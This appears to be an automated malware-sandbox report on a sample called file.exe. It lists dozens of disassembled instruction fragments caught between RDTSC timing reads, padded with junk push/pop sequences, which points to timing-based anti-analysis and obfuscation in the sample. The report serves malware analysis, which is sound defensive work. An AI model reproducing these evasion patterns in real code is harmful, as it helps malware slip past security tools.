                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A18279 second address: A18294 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B88Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007FE2B0E6B8B8h 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9A4B6B second address: 9A4B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9A4B73 second address: 9A4B77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A1DE94 second address: A1DE9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 992243 second address: 99224B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A1CBBE second address: A1CBE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FE2B0E330E7h 0x0000000f popad 0x00000010 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A1CBE0 second address: A1CBFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FE2B0E6B886h 0x00000009 jnp 00007FE2B0E6B886h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A1CBFA second address: A1CC0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FE2B0E330D6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A1CC0A second address: A1CC10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A1CC10 second address: A1CC16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A1CC16 second address: A1CC2A instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE2B0E6B888h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a js 00007FE2B0E6B88Eh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A1CEEA second address: A1CEFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007FE2B0E330D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007FE2B0E330D8h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A1D099 second address: A1D0B0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE2B0E6B88Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A1D0B0 second address: A1D0B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A1C61B second address: A1C61F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A22A21 second address: A22A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A22A25 second address: A22A29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A22A29 second address: A22A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FE2B0E330E6h 0x0000000f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A22C18 second address: A22C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jc 00007FE2B0E6B88Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A22C27 second address: A22C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A22C2B second address: A22C3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E6B88Dh 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A22DE7 second address: A22DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A22DED second address: A22DF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A22DF1 second address: A22DF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A22DF5 second address: A22E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FE2B0E6B893h 0x0000000f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A22E12 second address: A22E16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A230D0 second address: A230FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FE2B0E6B890h 0x0000000a jo 00007FE2B0E6B886h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jmp 00007FE2B0E6B88Ah 0x00000019 push eax 0x0000001a push edx 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A234C1 second address: A234C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A23761 second address: A23765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A23765 second address: A23783 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FE2B0E330E4h 0x0000000f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A23783 second address: A237BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B892h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007FE2B0E6B88Ch 0x0000000f jmp 00007FE2B0E6B890h 0x00000014 popad 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A237BB second address: A237BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A23A91 second address: A23A9F instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE2B0E6B886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A23A9F second address: A23AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A23AA5 second address: A23AAF instructions: 0x00000000 rdtsc 0x00000002 je 00007FE2B0E6B886h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A23AAF second address: A23AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A23AB5 second address: A23ABC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A27012 second address: A27024 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330DCh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A27024 second address: A27028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A27028 second address: A2702C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A2681E second address: A26828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE2B0E6B886h 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A26828 second address: A2682C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A26975 second address: A2698E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007FE2B0E6B886h 0x0000000c popad 0x0000000d jbe 00007FE2B0E6B88Ch 0x00000013 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A2698E second address: A269AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FE2B0E330E7h 0x0000000b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A26B5E second address: A26B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A26B6C second address: A26B72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A26B72 second address: A26B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A26B7C second address: A26B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE2B0E330E3h 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A26B93 second address: A26B9D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE2B0E6B886h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A26B9D second address: A26BA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A26BA3 second address: A26BC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FE2B0E6B886h 0x00000009 jmp 00007FE2B0E6B890h 0x0000000e js 00007FE2B0E6B886h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A26BC6 second address: A26BCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A29523 second address: A2955D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE2B0E6B886h 0x0000000a pop esi 0x0000000b jl 00007FE2B0E6B88Ch 0x00000011 jnc 00007FE2B0E6B886h 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b jmp 00007FE2B0E6B896h 0x00000020 pop eax 0x00000021 jnp 00007FE2B0E6B88Ch 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A2955D second address: A29561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A2920A second address: A2920E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A2920E second address: A29220 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE2B0E330D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A29220 second address: A29224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A2F2FA second address: A2F300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A2F300 second address: A2F31F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE2B0E6B896h 0x0000000e rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A2F31F second address: A2F323 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A2E78A second address: A2E78F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A2E78F second address: A2E7B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007FE2B0E330E8h 0x00000013 popad 0x00000014 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A2EA65 second address: A2EA69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A2EA69 second address: A2EA73 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE2B0E330D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A2EEDE second address: A2EEFA instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE2B0E6B886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE2B0E6B890h 0x00000011 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A33AFF second address: A33B0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FE2B0E330D6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A33C50 second address: A33C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A33C56 second address: A33C5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A33C5A second address: A33C78 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE2B0E6B895h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A33E0D second address: A33E13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A33F3D second address: A33F41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A33F41 second address: A33F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FE2B0E330DCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A33F4F second address: A33F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A33F53 second address: A33F73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FE2B0E330D6h 0x0000000a jmp 00007FE2B0E330E6h 0x0000000f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A34256 second address: A3425B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3425B second address: A34277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE2B0E330E5h 0x0000000c rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A34277 second address: A3428A instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE2B0E6B886h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3428A second address: A34290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A34290 second address: A34294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A34294 second address: A34298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DB377 second address: 9DB385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, dword ptr [esp+04h] 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A344F7 second address: A344FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A344FB second address: A34516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE2B0E6B892h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A34F48 second address: A34F5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE2B0E330D6h 0x0000000a popad 0x0000000b push eax 0x0000000c jbe 00007FE2B0E330D6h 0x00000012 pop eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 998D9B second address: 998D9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3E72D second address: A3E735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3E8B3 second address: A3E8B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3E8B9 second address: A3E8D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE2B0E330E6h 0x0000000d rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3E8D7 second address: A3E8E8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE2B0E6B886h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3EA86 second address: A3EA9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FE2B0E330D6h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE2B0E330DAh 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3F044 second address: A3F048 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3F048 second address: A3F04E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3F04E second address: A3F054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3F322 second address: A3F326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3F326 second address: A3F32C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3F32C second address: A3F331 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3F5E2 second address: A3F5E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3FB4F second address: A3FB53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A446DA second address: A446FD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE2B0E6B8A5h 0x00000008 jmp 00007FE2B0E6B899h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A437BF second address: A437C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A437C5 second address: A437CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A437CB second address: A437CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A437CF second address: A437E4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b ja 00007FE2B0E6B886h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A437E4 second address: A437EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A437EF second address: A437F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
